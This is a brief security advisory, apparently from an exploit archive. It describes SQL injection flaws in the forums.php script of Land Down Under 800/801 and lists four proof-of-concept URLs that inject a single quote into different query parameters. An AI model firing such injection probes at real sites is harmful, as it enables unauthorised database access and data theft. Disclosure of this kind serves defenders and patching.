Land Down Under 800/801 - 'forums.php' Multiple SQL Injections

source: https://www.securityfocus.com/bid/14618/info
   
Land Down Under is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in SQL queries.
   
Successful exploitation may allow the attacker to compromise the application, retrieve sensitive information, modify data, or exploit vulnerabilities in the underlying database implementation.

http://www.example.com/ldu/forums.php?filter=forums%2Ephp%3Fc%3Dskin&x='
http://www.example.com/ldu/forums.php?m=topics&q=3&n=' 
http://www.example.com/ldu/forums.php?m='&q=3&n=last 
http://www.example.com/ldu/forums.php?m=topics&s='